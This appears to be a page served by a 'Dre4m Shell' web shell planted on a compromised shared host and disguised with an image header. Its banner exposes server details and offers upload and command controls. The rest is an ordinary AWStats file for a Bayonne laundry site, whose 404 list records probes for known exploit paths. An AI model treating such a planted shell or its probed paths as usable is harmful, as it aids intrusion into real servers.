ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/tmp/awstats/ssl/awstats072022.lespotdulinge.computer3.fr.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202207 will be lost/reset.
# Last config file used to build this data file was /home/computer3/tmp/awstats/ssl/awstats.lespotdulinge.computer3.fr.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2028                
POS_TIME 2719                
POS_VISITOR 35631               
POS_DAY 71218               
POS_DOMAIN 3865                
POS_LOGIN 4745                
POS_ROBOT 4900                
POS_WORMS 6468                
POS_EMAILSENDER 6599                
POS_EMAILRECEIVER 6742                
POS_SESSION 72182               
POS_SIDER 72395               
POS_FILETYPES 6877                
POS_DOWNLOADS 7242                
POS_OS 8029                
POS_BROWSER 8674                
POS_SCREENSIZE 13235               
POS_UNKNOWNREFERER 13309               
POS_UNKNOWNREFERERBROWSER 14980               
POS_ORIGIN 16104               
POS_SEREFERRALS 16254               
POS_PAGEREFS 16647               
POS_SEARCHWORDS 17376               
POS_KEYWORDS 17528               
POS_MISC 2382                
POS_ERRORS 17587               
POS_CLUSTER 4601                
POS_SIDER_404 17733               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220801000006 11360 4786155 30973209587061
FirstTime 20220701000208
LastTime 20220731234616
LastUpdate 20220801000911 11360 0 11359 0 0
TotalVisits 884                 
TotalUnique 685                 
MonthHostsKnown 0                   
MonthHostsUnknown 980                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
DirectorSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 11 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 1558 1984 155269596 13303 13566 899668502
1 1436 1486 113924095 13261 13566 895913178
2 120 570 43469048 13770 14044 920210168
3 76 347 22710131 13341 13506 896450772
4 48 404 13574343 13211 13382 883921313
5 40 164 9395285 13248 13557 905626986
6 64 204 14706027 13698 13999 919550282
7 171 949 52661194 13396 13941 907671930
8 233 978 69354894 13059 13374 892178993
9 246 1044 100526721 13732 14220 925177026
10 284 1544 87690812 13462 14002 925688216
11 616 1943 131507598 13617 13998 928527640
12 496 1327 93852108 13413 13785 925702267
13 576 1971 124056807 13197 13636 902427957
14 260 1088 72397333 13371 13743 909117928
15 482 1785 117687022 13449 14013 917364518
16 435 1911 154417014 14451 15369 974064022
17 270 1223 79476942 13335 13715 906469885
18 314 1498 105280968 13111 13562 898599675
19 178 1049 65609407 13326 13589 903403172
20 344 1157 77414591 13781 14156 920030314
21 245 1329 64015941 13570 13827 911284122
22 238 1094 58819123 13242 13708 912145467
23 177 776 54786591 13376 13795 899248478
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 41
fr 4088 19589 1297700527
il 2903 3017 231604925
us 685 2597 127194346
ru 643 756 42750942
de 178 343 32735586
gb 108 369 18950868
se 96 97 5832027
ie 27 361 13369140
ir 26 166 5970132
pl 24 25 1497925
be 18 121 16274059
jp 16 16 1062672
pt 14 51 2653766
in 12 32 12626857
it 10 11 4456061
ch 9 73 4560582
cn 7 21 2660951
dk 7 53 6076627
eu 6 6 398568
ua 5 5 332223
id 5 67 9722762
ca 5 14 424068
ip 4 4 242579
nl 4 4 194493
cl 3 3 199346
ci 0 1 3244106
bj 0 2 3850948
za 0 2 4153466
cm 0 2 377525
sn 0 1 351000
pf 0 1 3802466
sa 2 2 132906
gr 0 1 3802466
cg 0 2 7604932
ma 1 2 26953
ht 0 1 3244106
ro 0 2 7604932
ml 0 1 984473
au 1 1 66443
lu 0 1 3802466
kr 0 2 62371
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 35
SemrushBot/ 303199 20235592711 20220731235958 2494
AhrefsBot/ 16163 1108285516 20220731235953 39
java 2699 168244684 20220730112805 0
Googlebot/ 645 33241320 20220731181126 52
link 600 34809875 20220728232904 2
facebookexternalhit/ 595 25299138 20220731175649 2
bot[\s_+:,\.\;\/\\-] 285 9702227 20220731230251 108
Googlebot\-Image/ 240 11312212 20220731171017 0
crawl 133 7138154 20220730043850 8
Applebot/ 101 5794397 20220731111205 24
YandexBot/ 93 12282985 20220731141653 41
unknown 47 3243 20220730153129 47
bingpreview 37 906671 20220701064850 0
DomainStatsBot/ 27 1485298 20220707121152 1
Velen 22 1255104 20220705230807 0
SeznamBot/ 19 614134 20220730153513 9
LinkedInBot/ 18 5358390 20220729102326 0
yandex 16 148575 20220729165302 0
Mail\.RU_Bot/ 10 197059 20220720183851 5
CCBot/ 10 464718 20220703205209 2
Barkrowler 8 250556 20220720114657 4
(firefox/)([0-9]\.|[0-1][0]\.) 6 311855 20220721053203 0
Go\-http\-client/ 5 188235 20220727182703 0
Apache\-HttpClient/ 5 265737 20220709193630 1
robot 5 237992 20220730222202 0
Dalvik/ 3 3698713 20220710163634 0
SurdotlyBot/ 3 132903 20220701141532 1
Screaming[\x20]Frog[\x20]SEO[\x20]Spider/ 1 66417 20220704175604 0
bingbot/ 2 57477 20220701063222 1
KomodiaBot/ 1 66450 20220726054301 0
survey 3 199251 20220712202726 0
CFNetwork 4 7661605 20220729022753 0
no_user_agent 3 199251 20220716000424 0
YandexImages/ 4 1666305 20220721212447 0
SemrushBot-SI 1 53436 20220706052026 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
html 2266 60017053 0 0
Unknown 1201 68352107 0 0
ttf 2 161304 0 0
jpeg 139 121419820 0 0
gif 1 1377 0 0
woff 304 13507328 0 0
php 4912 253550003 0 0
pdf 355 183302455 0 0
png 6885 102723944 0 0
svg 296 164280 0 0
jpg 2605 866238613 0 0
json 222 159840 0 0
css 4145 88530860 0 0
js 4492 124474607 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 13
/uploadfiles/Laureat_National_Talents_des_cites_2019_Le_Spot_Du_Linge_2.pdf 260 0 36976420
/uploadfiles/LSP_EL_1.pdf 38 0 84329258
/uploadfiles/Repassage_PaniAre_Le_Spot_Du_Linge.pdf 26 0 37349962
/uploadfiles/Affiche_boutique_Extension_dOngle.pdf 20 0 2085600
/uploadfiles/TARIFS_BEAUTA__-_LSDL64__2.pdf 9 0 1484676
/uploadfiles/LSP_EL_2021.pdf 6 0 13315128
/uploadfiles/EL_Repassage_07072021.pdf 4 0 8831560
/uploadfiles/Enlevetlivre_Le_Spot_du_Linge_Couettes.pdf 3 0 4239735
/uploadfiles/TARIFS_BEAUTA__-_LSDL64__1.pdf 3 0 494892
/uploadfiles/LSP_EL.pdf 2 0 4434174
/uploadfiles/Repassage_EL.pdf 2 0 4431496
/uploadfiles/images_com/Repassage_Chemises_EL_2021_2.pdf 2 0 4435074
/uploadfiles/Couettes__cie_EL_LSDL_021219.pdf 1 0 1421427
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 35
macosx9 350 346
win2003 1 1
macosx15 1959 471
macosx12 3 3
androidkitkat 64 5
macosx7 152 150
macosx6 114 112
androidjellybean 1 1
win8.1 303 218
win10 5173 1390
androidnougat 192 37
androidpie 589 106
androidlollipop 2 1
androidoreo 291 45
android 4427 952
linuxubuntu 200 180
linux 774 265
win7 1290 1134
unix 1 0
macosx13 359 102
winxp 692 689
Unknown 397 159
linuxfedora 1 1
androidmarshmallow 3 3
macosx 15 14
ios_iphone 7608 1444
win8 180 175
android10 1960 454
winlong 111 110
macosx8 221 217
ios_ipad 158 29
macosx11 66 49
androidfroyo 4 4
macosx14 148 24
macosx10 16 16
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 209
chrome99.0.4844.83 35 4
chrome96.0.4664.104 391 90
chrome53.0.2785.146 7 4
chrome79.0.3945.136 1 1
chrome32.0.1700.41 38 37
chrome101.0.3597.8211 1 1
safari14.1.1 270 46
chrome39.0.2171.95 5 5
chrome83.0.4103.61 106 105
safari14.0.1 92 23
chrome103.0.5060.134 51 3
safari 961 250
firefox102.0 1139 225
chrome11.0.700.3 577 577
chrome103.0.5060.70 125 13
chrome97.0.4692.99 9 9
firefox81.0 18 18
chrome102.0.0.0 389 92
chrome45.0.2454.85 1 1
chrome84.0.4147.125 1 1
safari12.1.1 1 1
chrome98.0.4758.87 52 8
safari10.1.2 1 1
chrome80.0.3987.122 2 2
chrome37.0.2062.124 1 1
chrome103.0.5060.53 211 22
chrome99.0.4844.84 180 20
chrome40.0.2214.111 40 40
msie10.0 106 104
chrome96.0.4664.110 1 1
safari12.1.2 105 18
safari15.0 68 6
chrome101.0.4951.54 55 8
chrome97.0.4692.98 72 10
firefox40.0 2 2
chrome102.0.5005.125 6 0
chrome101.0.0.0 158 20
chrome99.0.4844.73 78 13
chrome78.0.3904.70 66 7
chrome60.0.3112.90 2 2
safari13.0.5 5 5
chrome89.0.4389.90 1 1
firefox29.0 39 39
chrome35.0.1916.153 51 51
safari6.0.5 38 37
chrome74.0.3729.169 4 4
safari15.4 445 67
chrome103.0.5060.66 50 3
chrome81.0.4044.92 63 4
chrome80.0.3987.162 1 1
chrome81.0.4044.138 64 5
firefox27.3 35 34
safari14.1.2 389 78
firefox86.0 1 1
safari14.0.2 1 0
chrome84.0.4143.7 1 1
chrome101.0.4950.0 30 2
chrome47.0.2526.83 3 3
chrome103.0.5060.114 199 37
firefox73.0 2 2
chrome102.0.5005.134 1 1
chrome38.0.1025.166 1 1
chrome70.0.3538.67 3 3
chrome83.0.4103.97 48 48
chrome72.0.3626.109 33 6
chrome78.0.3904.97 130 10
safari13.0.4 1 1
chrome32.0.1700.68 42 42
chrome96.0.4664.93 1 0
chrome98.0.4758.102 44 4
chrome90.0.4430.85 5 5
firefox72.0 16 0
edge18 2 1
chrome94.0.4606.85 68 6
firefox52.7.0 1 1
chrome100.0.7060.4146 1 1
safari9.1.1 10 10
chrome98.0.4758.80 202 22
msie9.0 69 68
chrome100.0.4896.88 79 8
chrome70.0.3538.110 68 6
chrome31.0.1650.57 147 144
chrome100.0.4896.60 71 8
chrome80.0.3987.149 27 24
firefox42.0 10 9
chrome100.0.4896.75 62 8
safari7.0.1 31 30
chrome62.0.3202.94 1 1
safari6.1 71 70
chrome103.0.0.0 8065 1881
chrome51.0.2704.84 1 1
firefox26.0 524 516
chrome98.0.4758.81 3 3
firefox58.0 6 6
safari15.3 6 3
firefox19.0 1 1
chrome72.0.3626.119 1 1
chrome80.0.3987 1 1
chrome60.0.3112.107 1 1
firefox60.0 1 1
chrome75.0.3770.101 1 1
safari11.0.2 1 1
chrome95.0.4638.69 1 1
safari13.1 2 1
chrome69.0.3497.100 5 4
chrome80.0.3987.87 1 1
chrome77.0.2490.71 2 2
msie7.0 2 0
chrome31.0.1623.0 1 1
firefox44.0 1 1
chrome45.0.2454.94 1 1
chrome102.0.5005.115 64 5
netscape 8 8
firefox53.0 1 1
safari7.0 42 42
safari14.0.3 87 15
safari10.0 1 1
safari6.1.1 76 76
chrome100.0.4896.127 161 22
firefox31.0 44 41
firefox24.0 74 74
chrome96.0.4685.52 1 1
chrome93.0.4577.63 1 0
chrome92.0.4515.105 127 13
chrome98.0.4758.82 2 2
msie11 32 30
opera12.16 24 24
chrome79.0.3945.130 26 25
chrome83.0.4103.7 4 4
firefox91.0 87 16
chrome80.0.3987.163 3 3
safari5.1.9 38 37
firefox74.0 2 2
firefox79.67 11 11
chrome99.0.4844.58 1 0
chrome79.0.3945.117 47 0
firefox59.0 1 1
chrome86.0.4240.198 1 1
chrome12.0.742.91 35 35
firefox68.0 4 3
chrome76.0.3809.100 1 1
android 6 4
msie11.0 179 159
firefox36.0 67 63
chrome103.0.5060.129 2 0
firefox88.0 3 3
safari15.2 1 1
chrome16.0.912.75 1 1
chrome83.0.4103.106 1 1
firefox25.0 201 197
chrome51.0.2704.103 1 1
safari13.0.1 69 9
firefox77.0 2 2
safari13.1.1 149 21
firefox103.0 134 41
chrome91.0.4472.114 180 43
firefox84.0 149 149
safari15.5 4792 919
chrome41.0.2227.0 37 37
chrome63.0.3239.132 1 0
chrome90.0.4430.91 67 6
chrome27.0.1500.55 1 1
chrome96.0.4664.45 137 15
chrome78.0.3904.108 1 1
chrome80.0.3987.132 216 48
mozilla 239 117
chrome71.0.3552.0 1 1
chrome94.0.4606.81 78 78
chrome84.0.4147.105 47 16
chrome36.0.1985.67 14 14
iphone 1158 171
firefox33.0 31 29
netscape5.0 1 0
firefox78.0 1 1
chrome56.0.2924.76 1 1
chrome87.0.4280.66 1 1
chrome76.0.3809.132 2 2
chrome94.0.4606.61 65 5
chrome76.0.3809.71 128 10
chrome71.0.3578.98 19 19
chrome32.0.1700.72 89 87
chrome64.0.3282.186 1 1
chrome89.0.4389.105 5 5
chrome59.0.3071.125 2 2
chrome89.0.4389.82 1 1
chrome92.0.4515.131 67 7
Unknown 214 40
firefox52.5.0 1 1
chrome103.0.5060.71 203 39
firefox28.0 43 43
chrome99.0.4844.51 72 8
chrome98.0.4758.101 169 71
firefox47.0 4 4
chrome99.0.3945.117 7 7
chrome90.0.4430.93 8 3
firefox27.0 81 79
safari13.1.2 162 54
chrome90.0.4430.212 9 0
opera83.0.4254.47 1 1
chrome83.0.4103.116 1 1
edge17 1 1
chrome43.0.2376.69 4 4
chrome57.0.2987.110 2 2
chrome95.0.4638.54 66 6
chrome63.0.3239.84 4 4
firefox52.0 65 48
chrome31.0.1650.63 569 557
chrome94.0.4606.71 64 15
chrome68.0.3440.106 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 29
Mozilla/5.0_(compatible;_ExaleadCloudView/5;) 20220711173942
Other 20220713091251
Mozilla/4.0_(compatible;_ms-office;_MSOffice_16) 20220715133105
Mozilla/5.0_(compatible) 20220717011940
python-requests/2.26.0 20220711094444
python-httpx/0.23.0 20220731112802
python-requests/2.27.1 20220727000445
Mozilla/5.0_(compatible;_Qwantify/1.0;__https://www.qwant.com/) 20220702131050
undici 20220716181944
cortex/1.0 20220731155310
Mozilla/5.0/Firefox/42.0_-_nbertaupete95(at)gmail.com 20220704230157
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20220713234733
Mozilla/6.0_(compatible) 20220717012147
WhatsApp/2.22.14.74_A 20220710163639
WhatsApp/2.22.10.73_A 20220701180359
Mozilla/5.0_(compatible;_Dataprovider.com) 20220717051701
Mozilla/5.0_(compatible;_seocompany/0.6;__;_) 20220725174202
WhatsApp/2.22.15.74_A 20220726223519
python-requests/2.25.1 20220730201518
IDG/IT_(http://spaziodati.eu/) 20220723204726
Ruby 20220724121122
WordPress/6.0.1;_http://wewe.cw-serv.top/wordpress 20220713203339
HubSpot_Connect_2.0_(http://dev.hubspot.com/)_(namespace:_domainValidationHttpClient)_-_BizOpsCompanies-Tq2-BizCoDomainValidationAudit 20220727093010
Python/3.8_aiohttp/3.7.1 20220716000435
\ 20220731091739
SEMrushBot 20220719001838
fasthttp 20220704155708
python-requests/2.22.0 20220707072200
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220721060055
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 20
WhatsApp/2.22.15.74_A 20220726223519
Other 20220713091251
python-requests/2.25.1 20220730201518
IDG/IT_(http://spaziodati.eu/) 20220723204726
WordPress/6.0.1;_http://wewe.cw-serv.top/wordpress 20220713203339
Ruby 20220724121122
HubSpot_Connect_2.0_(http://dev.hubspot.com/)_(namespace:_domainValidationHttpClient)_-_BizOpsCompanies-Tq2-BizCoDomainValidationAudit 20220727093010
python-requests/2.26.0 20220711094444
python-httpx/0.23.0 20220731112802
python-requests/2.27.1 20220727000445
undici 20220716181944
cortex/1.0 20220731155310
Python/3.8_aiohttp/3.7.1 20220716000435
\ 20220731091739
SEMrushBot 20220719001838
fasthttp 20220704155708
python-requests/2.22.0 20220707072200
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220721060055
WhatsApp/2.22.14.74_A 20220710163639
WhatsApp/2.22.10.73_A 20220701180359
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 1502 2290
From1 4 4
From2 324 484
From3 97 179
From4 6980 24868
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 14
www_google_com_au 2 2
www_google_be 1 2
www_google_fr 97 133
www_google_it 1 1
www_google_se 0 1
www_google_ch 2 5
www_google_com 212 325
startpage 2 2
ecosia 1 1
www_google_co_uk 2 2
qwant_com 1 1
google_com 0 5
www_bing_com 3 3
www_google_pt 0 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 16
https://www-lespotdulinge-fr.translate.goog 40 116
http://109.234.164.53 17 17
https://l.instagram.com 13 13
http://m.facebook.com 13 13
http://mdi9.com 2 2
http://instagram.com 2 2
https://lm.facebook.com 2 2
http://fbkwriter.com/about-me/ 2 2
http://lespotdulinge.com 2 2
https://l.instagram.com 1 1
https://l.facebook.com 1 1
https://modeplume.fr/blog-boutique-plume/ 1 1
https://geo-peek.com 1 1
https://www.quefairepaysbasque.com 0 1
https://www.quefairepaysbasque.com/exit-la-corvee-du-linge-avec-le-cafe-laverie-le-spot-du-linge/ 0 1
https://www.quefairepaysbasque.com 0 4
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
301 2779 1078006
500 320 1525
302 8 170334
503 2 0
404 3841 201997635
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 279
/business/js/fr/rappel/ 1 -
/business/js/fr/index 1 -
/business/images/prettyPhoto/dark_rounded/btnNext.png 1 -
/uploadfiles/js/jssor2.js 84 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/business/js/fr/business/dist/lity.min.js 1 -
/apple-icon-60x60.png 1 -
/manifest.json 1 -
/favicon-16x16.png 1 -
/uploadfiles/uploadfiles/favicon/apple-icon-72x72.png 5 https://www.lespotdulinge.fr/uploadfiles/15-tarifs-laverie-et-pressing-bayonne
/business/js/fr/business/js/fr/index 1 -
/business/images/prettyPhoto/default/sprite_y.png 1 -
/uploadfiles/business/css/bootstrap.min.css 82 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/images/prettyPhoto/dark_square/btnPrevious.png 1 -
/uploadfiles/uploadfiles/favicon/apple-icon-57x57.png 5 https://www.lespotdulinge.fr/uploadfiles/15-tarifs-laverie-et-pressing-bayonne
//2019/wp-includes/wlwmanifest.xml 1 -
/vendor/phpunit/phpunit/phpunit.xsd 1 -
/business/js/fr/business/dist/start_to_top/modernizr.js 1 -
/business/js/fr/business/dist/start_to_top/main.js 1 -
/js/mage/cookies.js 1 -
/uploadfiles/blog/1625821255Enlevetlivre_V%C3%A9hicule_le_spot_du_linge_Bayonne.jpg 28 https://www.lespotdulinge.fr/blog
/business/js/fr/business/js/rappel/rappel.php 1 -
/uploadfiles/business/js/jquery.prettyPhoto.js 58 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/uploadfiles/business/css/prettyPhoto.css 83 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/images/prettyPhoto/facebook/contentPatternTop.png 1 -
/apple-icon-57x57.png 1 -
/admin/controller/extension/extension/ 2 binance.com
/business/images/prettyPhoto/default/sprite_prev.png 1 -
//news/wp-includes/wlwmanifest.xml 1 -
/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf 87 https://www.lespotdulinge.fr/15-tarifs-laverie-et-pressing-bayonne
/business/js/fr/business/js/business/js/lightbox.js 1 -
/uploadfiles/js/jquery-1.9.1.min.js 84 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/uploadfiles/business/business/global-css.css 82 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
//site/wp-includes/wlwmanifest.xml 1 -
/business/js/fr/8-presentation 1 -
/business/js/fr/nous-contacter 1 -
/wp-blog-post.php 1 -
/uploadfiles/uploadfiles/favicon/apple-icon-120x120.png 6 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/datepicker.js 2 -
/wp-blockdown.php 1 -
/business/js/fr/js/google-map 1 -
/business/js/fr/business/js/business/js/jquery.prettyPhoto.js 1 -
/business/images/prettyPhoto/default/loader.gif 1 -
/business/js/fr/start_to_top/6-beaute-express 1 -
/uploadfiles/business/css/font-awesome.min.css 82 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
//sito/wp-includes/wlwmanifest.xml 1 -
/wp-beckup.php 1 -
/wp-coreutils.php 1 -
/business/images/prettyPhoto/facebook/sprite.png 1 -
/uploadfiles/business/css/lightbox.css 58 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/ads.txt 6 http://www.lespotdulinge.fr/ads.txt
/business/js/fr/business/js/html5shiv.js 1 -
/business/images/prettyPhoto/light_rounded/loader.gif 1 -
/business/js/fr/business/js/fr/google-map 1 -
/apple-icon-76x76.png 1 -
/uploadfiles/business/css/jssor.css 86 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/Wordpress 1 http://www.lespotdulinge.fr/Wordpress
/business/images/prettyPhoto/dark_rounded/contentPattern.png 1 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/business/js/fr/business/js/google-map 1 -
/util/login.aspx 1 -
/uploadfiles/uploadfiles/slideshows/15421193410SlideShow_Lessive.jpg 42 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/rappel/rappel/rappel.php 1 -
/business/images/date_event.png 6 https://www.lespotdulinge.fr/business/css/global_slide.css
/uploadfiles/uploadfiles/favicon/favicon-96x96.png 14 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/index.html 15 -
/business/images/prettyPhoto/facebook/default_thumbnail.gif 1 -
/favicon-96x96.png 1 -
/uploadfiles/js/jquery.bootstrap-autohidingnavbar.js 58 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/uploadfiles/blog/1588224212200_Int\xc3\xa9rieur_Le_Spot_Du_Linge.jpg 2 -
/business/js/fr/business/dist/js/jssor2.js 1 -
/business/images/prettyPhoto/light_rounded/btnNext.png 1 -
/wp-content/uploads/2022/03/fast-logo.jpg 3 -
/business/js/fr/business/js/business/dist/lity.min.js 1 -
/uploadfiles/js/jssor.slider.debug.js 84 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/business/dist/rappel/rappel.php 1 -
/apple-icon-152x152.png 1 -
/business/images/prettyPhoto/dark_square/loader.gif 1 -
/uploadfiles/uploadfiles/favicon/manifest.json 32 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/6-beaute-express 1 -
/uploadfiles/uploadfiles/advertisings/1545148847PubHeader_LaverieLinge.png 59 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/uploadfiles/uploadfiles/favicon/apple-icon-60x60.png 5 https://www.lespotdulinge.fr/uploadfiles/15-tarifs-laverie-et-pressing-bayonne
/business/js/fr/business/js/8-presentation 1 -
/business/js/fr/start_to_top/nous-contacter 1 -
/uploadfiles/uploadfiles/favicon/favicon-16x16.png 15 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/business/dist/business/js/html5shiv.js 1 -
/.well-known/traffic-advice 41 -
/uploadfiles/uploadfiles/favicon/apple-icon-76x76.png 5 https://www.lespotdulinge.fr/uploadfiles/15-tarifs-laverie-et-pressing-bayonne
/uploadfiles/uploadfiles/advertisings/1578320751LespotDulinge_laureat_concours_2020.png 61 https://www.lespotdulinge.fr/uploadfiles/Tarifs_Laverie_Le_Spot_Du_Linge_Bayonne_2.pdf
/business/js/fr/business/dist/js/jssor.slider.debug.js 1 -
/business/js/fr/business/dist/nous-contacter 1 -
